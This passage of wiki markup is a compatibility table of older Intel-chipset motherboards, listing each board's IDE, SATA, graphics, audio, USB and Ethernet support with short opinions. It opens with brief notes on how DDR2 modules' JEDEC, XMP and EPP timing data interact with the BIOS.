an industry standard DDR2 module could in theory contain fallback JEDEC, intel XMP and AMD EPP configuration data 

Intel PC CL5 ram modules but an &quot;AMD&quot; CL5 ram module the BIOS cannot read the AMD EPP info on the SPD (Serial Presence Detect) but can recognize the CL5 timing info in the JEDEC data table. PC BIOS auto configures for the AMD ram module and boots normally. 

an AMD PC CL6 ram modules but an &quot;INTEL&quot; CL6 ram module the BIOS cannot read the INTEL XMP info on the SPD but can recognize the CL6 timing info in JEDEC data table. PC BIOS auto configures for the AMD ram module and boots normally. 

an INTEL PC needs CL6 ram modules but have an &quot;AMD&quot; CL4 ram module. INTEL BIOS cannot read the AMD EPP info on the SPD but can recognize the CL4 timing info in JEDEC data table. PC BIOS recognizes module timings as incompatible an refuses to boot.  

entirely separate issue if the RAM module timing specs are incompatible.(i.e. CL4 RAM in a &quot;CL6 only&quot; PC) 


{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Abit AG8 
| &lt;!--Chipset--&gt;P915 + ICH6R 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 ports SATA1 
| &lt;!--Gfx--&gt;1 PCIe x16 Slot 
| &lt;!--Audio--&gt;Realtek ALC658 AC97 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;Realtek 8110S-32 
| &lt;!--Opinion--&gt;2004 32bit - Firewire TI 4200R7T no 
|-
| &lt;!--Name--&gt;MSI 915 Neo2 
| &lt;!--Chipset--&gt;P915 + ICH6R 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 ports SATA1 
| &lt;!--Gfx--&gt;1 PCIe x16 Slot 
| &lt;!--Audio--&gt;CMI 9880L HD Audio 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;{{no|Broadcomm BCM5751 PCIe}}
| &lt;!--Opinion--&gt;Firewire VIA VT6306 no 
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Asus P5GC P5GC-MX 
| &lt;!--Chipset--&gt;P945GC Lakeport-GC + ICH7R northbridge
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 SATA1 3.0 Gbit/s ports  
| &lt;!--Gfx--&gt;1 PCIe 1.1 slot 
| &lt;!--Audio--&gt;HD Audio with ALC662 codec 
| &lt;!--USB--&gt;{{yes|2 usb2.0}}
| &lt;!--Ethernet--&gt;{{no|atheros L2}}
| &lt;!--Opinion--&gt;2005 32bit - 3 pci slots - 4 x 240-pin DIMM Sockets max. 4GB DDR2 667/533 non-ECC - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Foxconn PC45CM-SA 45CM-S 
| &lt;!--Chipset--&gt;945GC with ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 sata2 ports 
| &lt;!--Gfx--&gt;{{Yes|pcie 1.0 slot with gma950 integrated}} 
| &lt;!--Audio--&gt;{{Yes|HD audio with aLC883 codec playback}}  
| &lt;!--USB--&gt;{{Yes|}}
| &lt;!--Ethernet--&gt;{{Yes|realtek 8139 8100sc}}
| &lt;!--Opinion--&gt;2 dimm slots 667mhz max 4gb - can be found in Advent desktops - 2 pci-e and 2 pci - core 2 duo only e6xxx - Micro ATX (9.6” x 8.8”) - 
|-
| &lt;!--Name--&gt;Gigabyte GA-81945GM MFY-RH
| &lt;!--Chipset--&gt;Intel® 945GM Express with ICH7M-DH 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Yes|GMA950 VGA15 and PCI-e 1.0 slot}} 
| &lt;!--Audio--&gt;{{Yes|HD Audio with ALC880 codec playback only rear port}}
| &lt;!--USB--&gt;{{Yes|4 usb 2.0}}
| &lt;!--Ethernet--&gt;{{No|Intel PRO1000PL 82573L Gigabit Ethernet}}
| &lt;!--Opinion--&gt;2006 MoDT term “Mobile on DeskTop.”, low TDP CPUs to work on desktop form-factor motherboards. mATX Micro ATX 24.4cm x 24.4cm - 2 DDR2 dimm 1.8v slots with 4Gb max - will not boot if PCI2 slot occupied - 
|-
| &lt;!--Name--&gt;Gigabyte GA-945 GCM S2C
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|ALC662 (1.x)}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{yes|8101E Rtl 8169 (1.x)}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA945-GCM S2L 
| &lt;!--Chipset--&gt;945GC with ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port
| &lt;!--SATA--&gt;4 SATA1 ports
| &lt;!--Gfx--&gt;PCi-E slot
| &lt;!--Audio--&gt;{{Maybe|Intel HD Audio with ALC662 codec 2/4/5.1-channel (1.x)}}  
| &lt;!--USB--&gt;{{Yes|4 USB2.0}}
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8111c 8169 (1.x)}} 
| &lt;!--Opinion--&gt;2 x 1.8V DDR2 DIMM 4GB DDR2 memory max - 2 PCI-e and 2 PCI - Micro ATX form factor; 24.4cm x 19.3cm  - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI 945P Neo-F rev 1.0
| &lt;!--Chipset--&gt;P945 + ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 SATA1 ports
| &lt;!--Gfx--&gt;PCie 1.0 slot
| &lt;!--Audio--&gt;ALC662 HDA 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;8110SC (rtl8169) 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI 945P Neo2-F rev 1.2
| &lt;!--Chipset--&gt;P945 + ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 SATA1 ports
| &lt;!--Gfx--&gt;PCie 1.0 slot
| &lt;!--Audio--&gt;ALC850 AC97 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;8110SC (rtl8169) 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-P31-DS3L 
| &lt;!--Chipset--&gt;P31 with ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCI Express x16 
| &lt;!--Audio--&gt;HD Audio with ALC888 codec 
| &lt;!--USB--&gt;4 USB 2.0 
| &lt;!--Ethernet--&gt;Realtek 8111B 
| &lt;!--Opinion--&gt;DDR2 800Mhz up to 4Gb 4 x 240 pin - 3 PCI - ATX 12.0&quot; x 8.3&quot; - 
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus P5KPL-AM /PS 
| &lt;!--Chipset--&gt;G31 with ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;4 xSATA 3 Gbit/s ports 
| &lt;!--Gfx--&gt;PCIe 1.1 with integrated Intel® GMA 3100 
| &lt;!--Audio--&gt;HD Audio with VIA VT1708B with ALC662 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8102EL 100/10 LAN with Realtek RTL8111C Gigabit LAN  
| &lt;!--Opinion--&gt;2 x 2 GB DDR2 Non-ECC,Un-buffered DIMMs with 2 PCI - Intel Graphics Media Accelerator - 
|-
| &lt;!--Name--&gt;Asus P5KPL/EPU 
| &lt;!--Chipset--&gt;G31 with ICH7
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Pci-e 1.0 slot
| &lt;!--Audio--&gt;{{Yes|HD audio with ALC887 codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{Yes|RTL8169 Realtek 8111C}} 
| &lt;!--Opinion--&gt;Tested - 4 240-pin DIMM, Max. 4 GB - 4 pci-e and 3 pci - ATX Form Factor 12 inch x 8.2 inch ( 30.5 cm x 20.8 cm ) - 
|-
| &lt;!--Name--&gt;Gigabyte GA-G31M ES2L
| &lt;!--Chipset--&gt;G31 plus ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Yes|Intel GMA 3100 2d}}
| &lt;!--Audio--&gt;{{Maybe|ALC883 (1.x), ALC883/888B (2.x)}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{Maybe|RTL8111C (1.x), Atheros 8131 (2.x)}}
| &lt;!--Opinion--&gt;reduces DRAM capacity to 4GB 
|-
| &lt;!--Name--&gt;ASRock G31M-S r1.0  G31M-GS
| &lt;!--Chipset--&gt;G31 + ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{maybe|4 sata2}} 
| &lt;!--Gfx--&gt;{{maybe|GMA 3100 2d not 3d}} 
| &lt;!--Audio--&gt;{{yes|ALC662}}
| &lt;!--USB--&gt;{{yes|4 USB2.0}}
| &lt;!--Ethernet--&gt;{{partial|rtl8169 RTL8111DL 8169 (for -GS) RTL8102EL (for -S)}}
| &lt;!--Opinion--&gt;2007 64bit Core2 - 2 DDR2 800 max 8Gig AMI bios MicroATX - 
|-
| &lt;!--Name--&gt;ASRock G31M-S r2.0 
| &lt;!--Chipset--&gt;G31 + ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{maybe|4 sata2}} 
| &lt;!--Gfx--&gt;{{maybe|GMA 3100 2d not 3d}} 
| &lt;!--Audio--&gt;{{yes|ALC662}}
| &lt;!--USB--&gt;{{yes|4 USB2.0}}
| &lt;!--Ethernet--&gt;{{yes|RTL 8111DL 8169}}
| &lt;!--Opinion--&gt;2008 64bit core2 - 2 DDR2 800 max 8Gig MicroATX 
|-
| &lt;!--Name--&gt;[http://www.intel.com/cd/channel/reseller/apac/eng/products/desktop/bdb/dg31pr/feature/index.htm Intel DG31PR] 
| &lt;!--Chipset--&gt;iG31 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|3100 but can use PCIe 1.1 slot}}
| &lt;!--Audio--&gt;{{yes|ALC888 playback}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{yes|RTL8111B Rtl 8169}}
| &lt;!--Opinion--&gt;good support 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Intel G33 Express Chipset with ich9 southbridge 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Intel 3100 powervr tile based 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2008 64bit - embedded on Core 2 Quad, Core 2 Duo, Pentium Dual-Core CPUS with Integrated GPU Intel GMA 3100 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASUS P5G41T-M LX  
| &lt;!--Chipset--&gt;G41 + ICH8 + DDR3 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{yes|X4500 some 2d only)}}
| &lt;!--Audio--&gt;ALC887
| &lt;!--USB--&gt;3 USB2.0 
| &lt;!--Ethernet--&gt;{{no|Atheros L1c AR8131}}
| &lt;!--Opinion--&gt;reduces maximum supported memory ddr3 from 16 to 8GB 2 dimm slots non-EEC - demotes the PCIe controller mode from revision 2.0 (5.0GT/s) to revision 1.1 (2.5GT/s
|-
| &lt;!--Name--&gt;Gigabyte GA-G41MT S2 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;VT1708S (1.3), ALC887-VD2 (1.4), ALC887 (2.1), 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Atheros AR8151 l1c (1.x 2.x), 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-G41MT S2PT 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC887 (1.0), VIA (2.0), ALC887 (2.1)
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL8111E (1.x), Atheros AR8151 l1c (2.1), 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-G41MT D3 
| &lt;!--Chipset--&gt;G41 + ICH7
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 Port
| &lt;!--SATA--&gt;4 Ports
| &lt;!--Gfx--&gt;{{yes|GMA X4500 2d only and pci-e 1.1 slot}}
| &lt;!--Audio--&gt;{{yes|ALC888B}}
| &lt;!--USB--&gt;4 ports + headers
| &lt;!--Ethernet--&gt;{{yes|RTL8111 D/E}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-P41T D3P 
| &lt;!--Chipset--&gt;G41 + ICH7 with Intel Core 2 Duo (E6xxx) CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port
| &lt;!--SATA--&gt;4ports 
| &lt;!--Gfx--&gt;GMA X4500 2d
| &lt;!--Audio--&gt;ALC888 889/892 
| &lt;!--USB--&gt;4 ports 
| &lt;!--Ethernet--&gt;RTL 8111C or D/E 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Intel DG41AN Classic 
| &lt;!--Chipset--&gt;iG41 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port
| &lt;!--SATA--&gt;4 ports 
| &lt;!--Gfx--&gt;X4500 2d
| &lt;!--Audio--&gt;ALC888S ALC888VC
| &lt;!--USB--&gt;4 ports 
| &lt;!--Ethernet--&gt;8111E
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;AsRock P5B-DE
| &lt;!--Chipset--&gt;P965 + ICH8 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{Maybe|works ide legacy}}
|&lt;!--Gfx--&gt;{{Yes|with PCI-E 1.1 slot}}
| &lt;!--Audio--&gt;{{Yes|HD Audio via VT1708S}}
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{Yes|RTL8169}}
| &lt;!--Opinion--&gt;2006 works well 
|-
| &lt;!--Name--&gt;Asus P5B SE
| &lt;!--Chipset--&gt;965 intel 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes| }}
| &lt;!--SATA--&gt;{{Yes| }}
| &lt;!--Gfx--&gt;{{N/A}}
| &lt;!--Audio--&gt;{{Yes|HD Audio ALC662 codec}}
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{No| }}
| &lt;!--Opinion--&gt;works well except ethernet 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus P5W DH Deluxe P5WDG2 WS PRO 
| &lt;!--Chipset--&gt;975X 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;2 ports 
| &lt;!--Gfx--&gt;2 PCIe x16 slots
| &lt;!--Audio--&gt;ALC882 AND LATER ADI 1988B 
| &lt;!--USB--&gt;2 USB2.0 
| &lt;!--Ethernet--&gt;{{No|Marvell 88E8052 88E8053}}
| &lt;!--Opinion--&gt;Firewire TI TSB43AB22A no 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Abit IP35 
| &lt;!--Chipset--&gt;P35 Express + ICH9R  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 ports 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC888 HDA 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;two RTL8110SC 
| &lt;!--Opinion--&gt;Firewire Texas TSB43 AB22A no 
|-
| &lt;!--Name--&gt;MSI P35 Neo F FL MS-7630 rev 1 
| &lt;!--Chipset--&gt;Intel P35 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 1.1 support 
| &lt;!--Audio--&gt;HD Audio ALC888
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek
| &lt;!--Opinion--&gt;Base model of this range of P35 mobos 
|-
| &lt;!--Name--&gt;GA-P35-DS3
| &lt;!--Chipset--&gt;P35 and ICH9 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 ports
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio with Realtek ALC889A codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8111B
| &lt;!--Opinion--&gt;2008 - 4 x 1.8V DDR2 DIMM sockets max 8 GB - 
|-
| &lt;!--Name--&gt;GA-EP35-DS3 (rev. 2.1) 
| &lt;!--Chipset--&gt;Intel® P35 + ICH9 Chipset
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{unk|}}
| &lt;!--SATA--&gt;{{unk|4 }}
| &lt;!--Gfx--&gt;pci-e
| &lt;!--Audio--&gt;{{unk|Realtek ALC889A codec }}
| &lt;!--USB--&gt;{{yes | }}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek 8111B}}
| &lt;!--Opinion--&gt;good 
|-
| &lt;!--Name--&gt;Abit IX38 Quad GT 
| &lt;!--Chipset--&gt;X38 / ICH9R Chipset 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 ports 
| &lt;!--Gfx--&gt;PCI-E 2.0 slot  
| &lt;!--Audio--&gt; HD Audio ALC888 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;Realtek RTL 8110SC 8169SC 
| &lt;!--Opinion--&gt;Firewire Texas TSB 43AB22A no 
|-
| &lt;!--Name--&gt;Gigabyte X38-DQ6
| &lt;!--Chipset--&gt;X38 / ICH9R Chipset 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 ports 
| &lt;!--Gfx--&gt;PCI-E 2.0 slot 
| &lt;!--Audio--&gt;ALC889A HDA 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;twin 8111B 8169 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Gigabyte GA-EP45 DS3 (2008) 
| &lt;!--Chipset--&gt;P45 + ICH9 or ICH10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 x SATA 3Gbit/s (SATAII0, SATAII1, SATAII2, SATAII3, SATAII4, SATAII5)  
| &lt;!--Gfx--&gt;two PCI-E v2.0 x16 slots support splitting its 16 PCIe 2.0 lanes across two cards at x8 transfers 
| &lt;!--Audio--&gt;HD Audio with ALC888  or ALC889A codec
| &lt;!--USB--&gt;6 USB2.0 
| &lt;!--Ethernet--&gt;2 x Realtek 8111C chips (10/100 /1000 Mbit)  
| &lt;!--Opinion--&gt;4 x 1.8V DDR2 DIMM sockets non-EEC 
|-
| &lt;!--Name--&gt;MSI P45 Platinum (2008) 
| &lt;!--Chipset--&gt;P45 + ICH9 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 sata2 ports 
| &lt;!--Gfx--&gt;two PCI-E x16 v2.0 slots 
| &lt;!--Audio--&gt;ALC888 HD Audio 
| &lt;!--USB--&gt;6 USB2.0 
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt; 
| &lt;!--Chipset--&gt;G45 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;adds Intel’s GMA X4500HD graphics engine to P45 Express features 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt; 
| &lt;!--Chipset--&gt;G43 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;GMA X4500 2d
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;removes HD video acceleration from the G45’s features 
|-
| &lt;!--Name--&gt;Asus P5E Deluxe 
| &lt;!--Chipset--&gt; X48 with ICH9 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HD Audio with ADI 1988B codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Marvell 88E8001 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;GigaByte GA-X48 DQ6 
| &lt;!--Chipset--&gt;X48 plus ICH9R 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;8 ports 
| &lt;!--Gfx--&gt;two PCI-E x16 v2.0 slots 
| &lt;!--Audio--&gt;ALC889A 
| &lt;!--USB--&gt;8 USB2.0 
| &lt;!--Ethernet--&gt;RTL 8111B 8169 
| &lt;!--Opinion--&gt;Firewire TSB43AB23 no - ICH9 pairs with Intel’s 3-series (X38, P35, etc.) chipsets, in addition to the X48 Express, but excluding the G35 Express 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Gigabyte EP43-DS3L  and Gigabyte GA-EP43-UD3L 
| &lt;!--Chipset--&gt;P43 with ICH10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 x SATA 3Gbit/s connectors 
| &lt;!--Gfx--&gt;1 x PCI Express x16 slot PCI Express 2.0 standard
| &lt;!--Audio--&gt;HD Audio with ALC888 codec  
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;realtek 8111C 
| &lt;!--Opinion--&gt;4 x 1.8V DDR2 DIMM sockets - 4 pcie x1 - 2 pci - ATX Form Factor; 30.5cm x 21.0cm 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Gigabyte 73-pvm-s2h rev.1.0
| &lt;!--Chipset--&gt;NVIDIA GeForce 7100 nForce 630i 
